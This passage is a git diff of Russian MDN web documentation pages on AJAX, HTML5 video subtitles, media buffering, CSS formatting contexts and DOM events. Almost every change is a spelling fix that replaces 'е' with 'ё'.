Fetch события</h3> diff --git a/files/ru/web/guide/ajax/getting_started/index.html b/files/ru/web/guide/ajax/getting_started/index.html index 56e8a80a0b..aee30a7337 100644 --- a/files/ru/web/guide/ajax/getting_started/index.html +++ b/files/ru/web/guide/ajax/getting_started/index.html @@ -23,7 +23,7 @@ original_slug: Web/Guide/AJAX/С_чего_начать <h3 id=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81" name=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81">Шаг 1 — Как послать HTTP запрос</h3> -<p>Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введен в Internet Explorer как объект ActiveX, называемый <code>XMLHTTP</code>. Позже в Mozilla, Safari и другие браузеры был введен класс <code>XMLHttpRequest</code>, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.</p> +<p>Для того, чтобы послать HTTP запрос на сервер используя JavaScript, вам необходим экземпляр класса, который позволит это сделать. Такой класс впервые был введён в Internet Explorer как объект ActiveX, называемый <code>XMLHTTP</code>. Позже в Mozilla, Safari и другие браузеры был введён класс <code>XMLHttpRequest</code>, который поддерживал методы и свойства изначального объекта ActiveX от Microsoft.</p> <p>В результате, чтобы создать кросс-браузерный объект требуемого класса, вы можете сделать следующее:</p> @@ -35,7 +35,7 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... } </pre> -<p>(В целях наглядности, код выше является немного упрощенным. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)</p> +<p>(В целях наглядности, код выше является немного упрощённым. Более жизненный пример будет рассмотрен в шаге 3 этой статьи)</p> <p>Некоторые версии некоторых броузеров Mozilla не будут корректно работать, если ответ сервера не содержит заголовка XML <code>mime-type</code>. Чтобы решить эту проблему, вы можете использовать вызовы дополнительных методов для переопределения заголовка полученного от сервера, если он отличен от <code>text/xml</code>.</p> @@ -43,11 +43,11 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ... httpRequest.overrideMimeType('text/xml'); </pre> -<p>Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путем присваивания свойству <code>onreadystatechange</code> имени JavaScript функции, которую вы собираетесь использовать:</p> +<p>Далее вам необходимо решить, что вы будете делать после получения ответа сервера. На этом этапе вам необходимо указать объекту, какая JavaScript функция будет обрабатывать ответ. Это делается путём присваивания свойству <code>onreadystatechange</code> имени JavaScript функции, которую вы собираетесь использовать:</p> <p><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></p> -<p>Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете ее. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:</p> +<p>Заметьте, что после названия функции нет скобок и не указано параметров, потому что вы просто присваиваете ссылку на функцию, а не вызываете её. К тому же, вместо указания имени функции, вы можете использовать возможность JavaScript объявлять функции на лету (так называемые «анонимные функции») и указывать действия, которые тотчас же будут обрабатывать ответ:</p> <pre>httpRequest.onreadystatechange = function(){ // какой-нибудь код @@ -62,7 +62,7 @@ httpRequest.send(null); <ul> <li>Первый параметр вызова функции <code>open()</code> — метод HTTP запроса (GET, POST, HEAD или любой другой метод, который вы хотите использовать). Используйте методы в соответствии с HTTP стандартами, иначе некоторые браузеры (такие как Firefox) могут не обработать запрос. Информация о допустимых HTTP запросах доступна по адресу <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">спецификации W3C</a></li> - <li>Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещен' при вызове функции <code>open()</code>. Типичной ошибкой при доступе к сайту через <code>site.ru</code> является отправка запроса на <code>www.site.ru</code>.</li> + <li>Второй параметр — URL запрашиваемой страницы. Из соображений безопасности возможность запрашивать страницы сторонних доменов недоступна. Убедитесь, что вы используете одинаковое доменное имя на всех страницах, иначе вы получите ошибку 'доступ запрещён' при вызове функции <code>open()</code>. Типичной ошибкой при доступе к сайту через <code>site.ru</code> является отправка запроса на <code>www.site.ru</code>.</li> <li>Третий параметр указывает, является ли запрос асинхронным. Если он <code>TRUE</code>, то выполнение JavaScript продолжится во время ожидания ответа сервера. В этом и заключается асинхронность технологии.</li> </ul> @@ -88,7 +88,7 @@ httpRequest.send(null); <pre>if (httpRequest.readyState == 4) { // все в порядке, ответ получен } else { - // все еще не готово + // все ещё не готово } </pre> @@ -124,7 +124,7 @@ httpRequest.send(null); <h3 id=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80">Шаг 3 — Простой пример</h3> -<p>Давайте соберем все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ <code>test.html</code>, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.</p> +<p>Давайте соберём все вместе и сделаем простой пример HTTP-запроса. Наш JavaScript запросит HTML документ <code>test.html</code>, который содержит текст "I'm a test." и выведет содержимое файла в диалоговом окне.</p> <pre><script type="text/javascript" language="javascript"> function makeRequest(url) { @@ -181,7 +181,7 @@ httpRequest.send(null); <ul> <li>Пользователь нажимает на ссылку "Сделать запрос" в броузере;</li> <li>Это вызывает функцию <code>makeRequest()</code> с параметром <code>test.html</code> — именем HTML файла;</li> - <li>Посылается запрос, после чего (<code>onreadystatechange</code>) выполнение передается <code>alertContents()</code>;</li> + <li>Посылается запрос, после чего (<code>onreadystatechange</code>) выполнение передаётся <code>alertContents()</code>;</li> <li><code>alertContents()</code> проверяет получен ли ответ и все ли с ним в порядке, после чего содержимое файла <code>test.html</code> выводится в диалоговом окне.</li> </ul> @@ -191,7 +191,7 @@ httpRequest.send(null); <p><strong>Замечание 2</strong>: Если вы посылаете запрос не на статический XML-файл, а на серверный скрипт, возвращающий XML, то нужно установить некоторые заголовки ответа, если вы планируете сделать вашу страницу работоспособной в Internet Explorer помимо Mozilla. Если вы не установите заголовок <code>Content-Type: application/xml</code>, IE будет сообщать об ошибке JavaScript, 'Object Expected', после строки, где вы пытаетесь получить доступ к XML элементу. Если вы не установите заголовок <code>Cache-Control: no-cache</code> броузер будет кэшировать ответ и никогда не будет повторно отправлять запрос, что сделает отладку весьма «забавной».</p> -<p><strong>Замечание 3</strong>: Если переменная <code>httpRequest</code> используется глобально, то конкурирующие функции, вызывающие <code>makeRequest()</code> могут конкурировать друг с другом, вызывая состязания. Объявление переменной <code>httpRequest</code> локально в функции и передача ее в <code>alertContent()</code> предотвращает состязания.</p> +<p><strong>Замечание 3</strong>: Если переменная <code>httpRequest</code> используется глобально, то конкурирующие функции, вызывающие <code>makeRequest()</code> могут конкурировать друг с другом, вызывая состязания. Объявление переменной <code>httpRequest</code> локально в функции и передача её в <code>alertContent()</code> предотвращает состязания.</p> <p><strong>Замечание 4</strong>: При привязывании колбэк-функции к <code>onreadystatechange</code> нельзя указать аргументы. По этой причине не работает следующий код:</p> @@ -252,7 +252,7 @@ var root_node = xmldoc.getElementsByTagName('root').item(0); alert(root_node.firstChild.data); </pre> -<p>Этот код берет объект <code>XMLDocument</code>, возвращаемый <code>responseXML</code> и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть <code>test.xml</code> можно <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здесь</a>, а обновленный скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здесь</a>.</p> +<p>Этот код берет объект <code>XMLDocument</code>, возвращаемый <code>responseXML</code> и использует методы DOM для доступа к данным, содержащимся в документе XML. Посмотреть <code>test.xml</code> можно <a class="external" href="http://www.akvi.ru/mozdev/test.xml" rel="follow">здесь</a>, а обновлённый скрипт <a class="external" href="http://www.akvi.ru/mozdev/httprequest_test_xml.html" rel="follow">здесь</a>.</p> <p>Чтобы узнать больше о методах DOM, посмотрите <a class="external" href="http://www.mozilla.org/docs/dom/">реализация DOM в Mozilla</a>.</p> diff --git a/files/ru/web/guide/ajax/index.html b/files/ru/web/guide/ajax/index.html index 7cf72beec7..25b4e612df 100644 --- a/files/ru/web/guide/ajax/index.html +++ b/files/ru/web/guide/ajax/index.html @@ -31,7 +31,7 @@ translation_of: Web/Guide/AJAX <dl> <dt><a class="external" href="http://www.onlamp.com/pub/a/onlamp/2005/05/19/xmlhttprequest.html">Простой путь Ajax</a></dt> - <dd><small>"Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все еще используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."</small></dd> + <dd><small>"Как это оказывается, довольно легко использовать в своих интересах объект XML-HttpRequest сделает акт приложений сети больше как настольное приложение, все ещё используя традиционные инструменты , сеть формируется для того, чтобы собрать пользовательский вход."</small></dd> </dl> <dl> diff --git a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html index 2fc93f687e..667568c42a 100644 --- a/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html @@ -7,13 +7,13 @@ translation_of: >- --- <div class="summary"> <blockquote> -<p><span class="seoSummary">В других статьях мы рассмотрели как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">создать cross browser видео плеер</a> используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">стилизовать плеер</a>. В этой статье мы возьмем тот же плеер и покажем как добавить подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.</span></p> +<p><span class="seoSummary">В других статьях мы рассмотрели как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">создать cross browser видео плеер</a> используя {{ domxref("HTMLMediaElement") }} и {{ domxref("Window.fullScreen") }} APIs, а так-же как <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">стилизовать плеер</a>. В этой статье мы возьмём тот же плеер и покажем как добавить подписи и субтитры, используя {{ domxref("Web_Video_Text_Tracks_Format","the WebVTT format") }} и {{ htmlelement("track") }} элемент.</span></p> </blockquote> </div> <h2 id="Пример_видео_с_подписями">Пример видео с подписями</h2> -<p>В этой статье мы сошлемся на пример плеера с подписями. Этот пример использует отрывок из <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p> +<p>В этой статье мы сошлёмся на пример плеера с подписями. Этот пример использует отрывок из <a href="http://www.sintel.org/">Sintel open movie</a>, созданного <a href="http://www.blender.org/foundation/">Blender Foundation</a>.</p> <p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p> @@ -29,7 +29,7 @@ translation_of: >- <p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">Подписи и субтитры не одно и тоже</a>: они имеют существенные различия для зрителя, и передают различную информацию, мы рекомендуем ознакомится с различиями, если вы не уверены, что они есть. Однако технически они реализуются одинаково, поэтому материал в нашей статье применим к обоим.</p> -<p>В этой статье мы сошлемся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.</p> +<p>В этой статье мы сошлёмся на text tracks, отображаемые как субтистры, т.к их контент направлен на слышащих людей, со сложностью понимания языка в фильме, а не на людей с плохим или отсутствием слуха.</p> <h3 id="Элемент_<track>">Элемент <track> </h3> @@ -37,7 +37,7 @@ translation_of: >- <h3 id="WebVTT">WebVTT</h3> -<p>Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату, такому как <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) формат. <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё еще работает, по этому основные его части стабильны и мы можем использовать их сегодня. </p> +<p>Файлы содержащие данные о субтитрах - это простой текстовый файл, который следует специальному формату, такому как <a href="https://developer.mozilla.org/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT) формат. <a href="http://dev.w3.org/html5/webvtt/">WebVTT specification</a> всё ещё работает, по этому основные его части стабильны и мы можем использовать их сегодня. </p> <p>Поставщики видео контента (такие как <a href="http://www.blender.org/foundation/">Blender Foundation</a>) предоставляют и подписи и субтитры в текстовом формате с их видео, но они обычно в SubRip Text (SRT) формате. Этот формат может быть легко переконвертирован в WebVTT, используя online конвертер например такой как <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>.</p> @@ -123,15 +123,15 @@ translation_of: >- video.textTracks[i].mode = 'hidden'; }</pre> -<p>Свойство <code>video.textTracks</code> содержит массив всех текстовых треков, присоединенных к видео. Мы проходим по каждому и устанавливаем его <code>mode</code> в <code>hidden</code></p> +<p>Свойство <code>video.textTracks</code> содержит массив всех текстовых треков, присоединённых к видео. Мы проходим по каждому и устанавливаем его <code>mode</code> в <code>hidden</code></p> -<p>Примечание: <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> дает нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента <code><track></code></p> +<p>Примечание: <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> даёт нам доступ ко всем текстовым трекам, что определены в HTML5 video, c помощью элемента <code><track></code></p> <h3 id="Building_a_caption_menu">Building a caption menu</h3> <p>Наша цель - это использовать кнопку <code>subtitles</code> , которую мы добавили ранее, чтобы дать возможность пользователю выбрать тот язык, который он хочет или полностью отключить субтитры.</p> -<p>Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идет. Это меню создается динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов <code><track></code> в разметке видео.</p> +<p>Мы добавили кнопку, но перед тем как что-то сделать, мы должны создать меню, которое с ней идёт. Это меню создаётся динамически, т.к языки могут быть добавлены или удалены после, простым редактированием элементов <code><track></code> в разметке видео.</p> <p>Все что нам необходимо сделать - это пройти через <code>textTracks</code>, читая их свойства и строя меню из них:</p> diff --git a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html index e4d2637356..8eae6fbe73 100644 --- a/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html +++ b/files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html @@ -211,6 +211,6 @@ myAudio.buffered.end(1); // returns 19</pre> <p>Надо заметить, что есть свойство <code>played</code>, сообщающее, были ли воспроизведены интервалы полностью. Пример:</p> -<pre class="brush: js">var played = audio.played; // вернет объект TimeRanges</pre> +<pre class="brush: js">var played = audio.played; // вернёт объект TimeRanges</pre> <p>Если просуммировать все интервалы <code>audio.played</code>, то получим долю прослушанного аудио, что может быть полезно для сбора метрик.</p> diff --git a/files/ru/web/guide/css/block_formatting_context/index.html b/files/ru/web/guide/css/block_formatting_context/index.html index 0114b27893..4c529df53a 100644 --- a/files/ru/web/guide/css/block_formatting_context/index.html +++ b/files/ru/web/guide/css/block_formatting_context/index.html @@ -43,7 +43,7 @@ translation_of: Web/Guide/CSS/Block_formatting_context <p>Давайте рассмотрим пару примеров, чтобы рассмотреть эффект от создания нового блочного контекста форматирования.</p> -<p>В примере ниже мы имеем плавающий элемент внутри <code><</code><code>div></code> с заданным <code>border</code>. Содержимое этого <code><div></code> обтекает плавающий элемент. Так как содержимое <code>float</code> выше, чем остальное содержимое, обтекающее его, <code>border</code> элемента <code>div</code> теперь проходит сквозь <code>float</code>. Как объясняется в руководстве <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, плавающий элемент был исключен из потока элементов, так что фон и граница <code>div</code> включает только его содержимое, но не элемент <code>float</code>. </p> +<p>В примере ниже мы имеем плавающий элемент внутри <code><</code><code>div></code> с заданным <code>border</code>. Содержимое этого <code><div></code> обтекает плавающий элемент. Так как содержимое <code>float</code> выше, чем остальное содержимое, обтекающее его, <code>border</code> элемента <code>div</code> теперь проходит сквозь <code>float</code>. Как объясняется в руководстве <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a>, плавающий элемент был исключён из потока элементов, так что фон и граница <code>div</code> включает только его содержимое, но не элемент <code>float</code>. </p> <p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p> diff --git a/files/ru/web/guide/events/event_handlers/index.html b/files/ru/web/guide/events/event_handlers/index.html index 8401bd0739..fbbdde6848 100644 --- a/files/ru/web/guide/events/event_handlers/index.html +++ b/files/ru/web/guide/events/event_handlers/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Events/Event_handlers <h2 id="Регистрация_обработчиков_onevent">Регистрация обработчиков onevent</h2> -<p>Обработчики <strong><code>on<em>event</em></code></strong> - это свойства определенных элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:</p> +<p>Обработчики <strong><code>on<em>event</em></code></strong> - это свойства определённых элементов DOM, позволяющие управлять тем, как этот элемент реагирует на события. Элементы могут быть интерактивными (ссылки, кнопки, изображения, формы и т. д.) или неинтерактивными (например, элемент base <body>). События - это такие действия, как:</p> <ul> <li>Клик мышкой</li> diff --git a/files/ru/web/guide/events/index.html b/files/ru/web/guide/events/index.html index e670fc0d15..cd85e3eeac 100644 --- a/files/ru/web/guide/events/index.html +++ b/files/ru/web/guide/events/index.html @@ -25,9 +25,9 @@ translation_of: Web/Guide/Events <p><a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">Custom events page</a> <span id="result_box" lang="ru"><span class="hps">описывает, как</span> <span class="hps">шаблон кода события</span> <span class="hps">может быть использован в</span> <span class="hps">пользовательском коде</span><span>, чтобы</span> <span class="hps">определить новые</span> <span class="hps">типы событий</span><span>, испускаемые от</span> <span class="hps">пользовательских объектов</span><span>, зарегистрируйтесь</span> <span class="hps">функции</span> <span class="hps">слушателя</span>для <span class="hps">обработки</span> <span class="hps">этих</span> <span class="hps">событий</span><span>,</span> <span class="hps">и вызова</span> <span class="hps">события</span> <span class="hps">в коде</span> <span class="hps">пользователя</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span class="hps">Остальные</span> <span class="hps">страницы описывают</span><span>, как использовать</span> <span class="hps">события разных</span> <span class="hps">видов</span><span>, определенных</span> <span class="hps">в веб-браузерах</span><span>.</span> <span class="hps">К сожалению,</span> <span class="hps">эти события</span> <span class="hps">были определены</span> <span class="hps">по частям</span><span>,</span> <span class="atn hps">веб-</span><span>браузеры</span> <span class="hps">развивались</span> <span class="hps">таким образом, что</span> <span class="hps">нет</span> <span class="hps">удовлетворения</span> <span class="hps">систематическим</span> <span class="hps">характеристикам</span> <span class="hps">событий</span> <span class="hps">встроенным</span> <span class="hps">или</span> <span class="hps">определенным</span> в <span class="atn hps">современных веб-</span><span>браузерах.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Остальные</span> <span class="hps">страницы описывают</span><span>, как использовать</span> <span class="hps">события разных</span> <span class="hps">видов</span><span>, определённых</span> <span class="hps">в веб-браузерах</span><span>.</span> <span class="hps">К сожалению,</span> <span class="hps">эти события</span> <span class="hps">были определены</span> <span class="hps">по частям</span><span>,</span> <span class="atn hps">веб-</span><span>браузеры</span> <span class="hps">развивались</span> <span class="hps">таким образом, что</span> <span class="hps">нет</span> <span class="hps">удовлетворения</span> <span class="hps">систематическим</span> <span class="hps">характеристикам</span> <span class="hps">событий</span> <span class="hps">встроенным</span> <span class="hps">или</span> <span class="hps">определённым</span> в <span class="atn hps">современных веб-</span><span>браузерах.</span></span></p> -<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, на котором</span> <span class="atn hps">работа веб-</span><span>браузера</span> <span class="hps">может спровоцировать</span> <span class="hps">событие</span><span>, например</span> <span class="hps">связанное с</span> <span class="hps">изменением его</span> <span class="hps">положения и ориентации</span> <span class="hps">в реальном мире</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> и <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">разные, но</span> <span class="hps">похожи</span><span>,</span> <span class="hps">с измененной</span> <span class="hps">вертикальной ориентации</span> <span class="hps">устройства</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span><strong>Устройство</strong>, на котором</span> <span class="atn hps">работа веб-</span><span>браузера</span> <span class="hps">может спровоцировать</span> <span class="hps">событие</span><span>, например</span> <span class="hps">связанное с</span> <span class="hps">изменением его</span> <span class="hps">положения и ориентации</span> <span class="hps">в реальном мире</span><span>,</span> <span class="hps">частично описано</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> и <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. Они<span id="result_box" lang="ru"> <span class="hps">разные, но</span> <span class="hps">похожи</span><span>,</span> <span class="hps">с изменённой</span> <span class="hps">вертикальной ориентации</span> <span class="hps">устройства</span><span>.</span></span></p> <p><span id="result_box" lang="ru"><strong><span>Окно в котором</span> <span class="hps">отображается</span> <span class="hps">браузер</span></strong> <span class="hps">может вызвать</span> <span class="hps">события</span><span>, к примеру</span><span>,</span> <span class="hps">изменить размер</span><span>, если пользователь</span> <span class="hps">максимизирует</span> <span class="hps">окно или</span> <span class="hps">изменит его размер</span><span>.</span></span></p> @@ -42,13 +42,13 @@ translation_of: Web/Guide/Events <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">события нажатия на экран</a> и устаревшие <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">экспериментальные события нажатия на экран (от Mozilla)</a>.</li> </ul> -<p><span id="result_box" lang="ru"><strong><span>Модификация</span> <span class="hps">в структуре веб-страницы</span> <span class="hps">или содержании</span></strong> <span class="hps">может быть</span> <span class="hps">вызвано некоторым</span> <span class="hps">событием</span><span>, </span> <span class="hps">описанным в</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, но</span> их<span class="hps"> использование </span> <span class="hps">устарело в</span> <span class="hps">пользу более </span><span class="hps">легкого</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> подхода.</p> +<p><span id="result_box" lang="ru"><strong><span>Модификация</span> <span class="hps">в структуре веб-страницы</span> <span class="hps">или содержании</span></strong> <span class="hps">может быть</span> <span class="hps">вызвано некоторым</span> <span class="hps">событием</span><span>, </span> <span class="hps">описанным в</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a><span id="result_box" lang="ru"><span class="hps">, но</span> их<span class="hps"> использование </span> <span class="hps">устарело в</span> <span class="hps">пользу более </span><span class="hps">лёгкого</span></span> <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> подхода.</p> <p><span id="result_box" lang="ru"><strong><span class="hps">Потоки</span> <span class="hps">Медиа</span></strong>, <span class="hps">встроенный</span> <span class="hps">в</span> <span class="hps">HTML</span> <span class="hps">документа,</span> <span class="hps">может</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>,</span> <span class="hps">страница описания</span></span> <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a>.</p> <p><span id="result_box" lang="ru"><strong><span class="hps">Сетевые</span> </strong><span class="hps"><strong>запросы</strong>, сделанные</span> <span class="atn hps">веб-</span><span>страницей, могут</span> <span class="hps">вызвать некоторые</span> <span class="hps">события</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">много других источников</span> <span class="hps">событий, определенных</span> <span class="hps">в веб-браузере</span><span>,</span> <span class="hps">страницы которых</span> <span class="hps">пока не доступны</span> <span class="hps">в данном руководстве</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">много других источников</span> <span class="hps">событий, определённых</span> <span class="hps">в веб-браузере</span><span>,</span> <span class="hps">страницы которых</span> <span class="hps">пока не доступны</span> <span class="hps">в данном руководстве</span><span>.</span></span></p> <div class="note"> <p><span id="result_box" lang="ru"><span class="hps">Примечание</span><span>:</span> <span class="hps">Это руководство</span> <span class="hps">событие</span> <span class="hps">Разработчик</span>а <span class="hps">нуждается в существенной</span> <span class="hps">работе</span><span>.</span><span>Структура должна</span> <span class="hps">быть</span> <span class="hps">реорганизована</span> <span class="hps">и страницы</span> <span class="hps">переписаны.</span> <span class="hps">Мы надеемся, что</span> <span class="hps">все, что вы</span><span class="hps"> знаете и должны знать</span> <span class="hps">о событиях</span> <span class="hps">будет опубликовано</span> <span class="hps">здесь.</span></span></p> diff --git a/files/ru/web/guide/events/media_events/index.html b/files/ru/web/guide/events/media_events/index.html index a3a13cc821..6c35079a6e 100644 --- a/files/ru/web/guide/events/media_events/index.html +++ b/files/ru/web/guide/events/media_events/index.html @@ -8,7 +8,7 @@ tags: - события translation_of: Web/Guide/Events/Media_events --- -<p>Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведен их список и описание.</p> +<p>Встроенные с помощью HTML тегов {{ HTMLElement("audio") }} или {{ HTMLElement("video") }} медиа объекты генерируют различные события. В этом разделе приведён их список и описание.</p> <table class="standard-table"> <tbody> @@ -26,7 +26,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("canplaythrough")}}</code></td> - <td>Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остается, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.</td> + <td>Отправляется, когда состояние готовности изменяется к CAN_PLAY_THROUGH. Указывает, что медиа может быть полностью воспроизведено без перерыва, предполагая, что скорость загрузки остаётся, по крайней мере на нынешнем уровне. Примечание: Ручная установка CURRENTTIME вызовет событие canplaythrough в Firefox. В других браузерах это может не произойти.</td> </tr> <tr> <td><code>{{event("durationchange")}}</code></td> @@ -86,7 +86,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("progress")}}</code></td> - <td>Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объеме загруженных данных доступна в атрибуте "buffered" элемента медиа.</td> + <td>Отправляется периодически для информирования о прогрессе скачивания медиа файла. Информация об объёме загруженных данных доступна в атрибуте "buffered" элемента медиа.</td> </tr> <tr> <td><code>{{event("ratechange")}}</code></td> @@ -114,7 +114,7 @@ translation_of: Web/Guide/Events/Media_events </tr> <tr> <td><code>{{event("volumechange")}}</code></td> - <td>Отправляется, когда изменяется громкость звука (также когда звук включен или выключен).</td> + <td>Отправляется, когда изменяется громкость звука (также когда звук включён или выключен).</td> </tr> <tr> <td><code>{{event("waiting")}}</code></td> diff --git a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html index 7be572dc0f..326926fe3a 100644 --- a/files/ru/web/guide/events/overview_of_events_and_handlers/index.html +++ b/files/ru/web/guide/events/overview_of_events_and_handlers/index.html @@ -7,13 +7,13 @@ translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers <p>Эта обзорная статья о событиях и их обработчиках описывает шаблон проектирования кода, который используется для реагирования на события, возникающие, когда браузер получает доступ к web-странице, и содержит подборку типов подобных событий, которые современные браузеры могут обрабатывать.</p> </div> -<p>События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает доступ к web-странице, включая события о подготовке страницы к отображению, взаимодействии с ее содержимым, в зависимости от устройства, на котором браузер был запущен, и многие другие случаи, такие как воспроизведение потоковой медиа-информации или расчет времени анимации.</p> +<p>События и их обработчики представляют собой основную технику в JavaScript для реагирования на события, возникающие, когда браузер получает 